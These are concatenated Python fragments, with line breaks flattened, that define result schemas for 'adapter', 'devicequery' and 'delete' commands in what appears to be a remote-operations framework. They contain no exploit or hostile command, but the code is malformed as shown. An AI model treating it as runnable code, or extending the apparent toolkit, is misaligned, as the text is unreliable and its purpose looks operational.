dszadapter = OpsClass( 'adapter', { 'iframe_recv_err': OpsField('iframe_recv_err', dsz.TYPE_INT), 'iframe_xmit_err': OpsField('iframe_xmit_err', dsz.TYPE_INT), 'max_sess_pkt_size': OpsField('max_sess_pkt_size', dsz.TYPE_INT), 'xmit_success': OpsField('xmit_success', dsz.TYPE_INT), 'ti_timeouts': OpsField('ti_timeouts', dsz.TYPE_INT), 'pending_sess': OpsField('pending_sess', dsz.TYPE_INT), 'max_sess': OpsField('max_sess', dsz.TYPE_INT), 'max_cfg_sess': OpsField('max_cfg_sess', dsz.TYPE_INT), 'max_ncbs': OpsField('max_ncbs', dsz.TYPE_INT), 'name_count': OpsField('name_count', dsz.TYPE_INT), 'max_cfg_ncbs': OpsField('max_cfg_ncbs', dsz.TYPE_INT), 't1_timeouts': OpsField('t1_timeouts', dsz.TYPE_INT), 'xmit_aborts': OpsField('xmit_aborts', dsz.TYPE_INT), 'recv_buff_unavail': OpsField('recv_buff_unavail', dsz.TYPE_INT), 'frmr_recv': OpsField('frmr_recv', dsz.TYPE_INT), 'free_ncbs': OpsField('free_ncbs', dsz.TYPE_INT), 'xmit_buf_unavail': OpsField('xmit_buf_unavail', dsz.TYPE_INT), 'duration': OpsField('duration', dsz.TYPE_INT), 'max_dgram_size': OpsField('max_dgram_size', dsz.TYPE_INT), 'recv_success': OpsField('recv_success', dsz.TYPE_INT), 'frmr_xmit': OpsField('frmr_xmit', dsz.TYPE_INT), 'adapter_type': OpsField('adapter_type', dsz.TYPE_STRING), 'release': OpsField('release', dsz.TYPE_STRING), 'adapter_addr': OpsField('adapter_addr', dsz.TYPE_STRING), 'names': OpsClass('names', { 'type': OpsField('type', dsz.TYPE_STRING), 'netname': OpsField('netname', dsz.TYPE_STRING), 'name': OpsField('name', dsz.TYPE_STRING) }, DszObject, single=False) }, DszObject)
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('devicequery' not in cmd_definitions): dszdevicequery = OpsClass( 'deviceitem', { 'servicepath': OpsField('servicepath', dsz.TYPE_STRING), 'physdevobjname': OpsField('physdevobjname', dsz.TYPE_STRING), 'friendlyname': OpsField('friendlyname', dsz.TYPE_STRING), 'devicedesc': OpsField('devicedesc', dsz.TYPE_STRING), 'locationinfo': OpsField('locationinfo', dsz.TYPE_STRING), 'driver': OpsField('driver', dsz.TYPE_STRING), 'mfg': OpsField('mfg', dsz.TYPE_STRING), 'hardwareid': OpsField('hardwareid', dsz.TYPE_STRING) }, DszObject, single=False) devicequerycommand = OpsClass('devicequery', {'deviceitem': dszdevicequery}, DszCommandObject) cmd_definitions['devicequery'] = devicequerycommand
from ops.data import OpsClass, OpsField, DszObject, DszCommandObject, cmd_definitions import dsz if ('delete' not in cmd_definitions): dszdelete = OpsClass( 'deletionitem', { 'file': OpsField('file', dsz.TYPE_STRING), 'delay': OpsField('delay', dsz.TYPE_BOOL), 'statusvalue': OpsField('statusvalue', dsz.TYPE_INT), 'statusstring': OpsField('statusstring', dsz.TYPE_STRING) }, DszObject, single=False) deletecommand = OpsClass('delete', {'deletionitem': dszdelete}, DszCommandObject) cmd_definitions['delete'] = deletecommand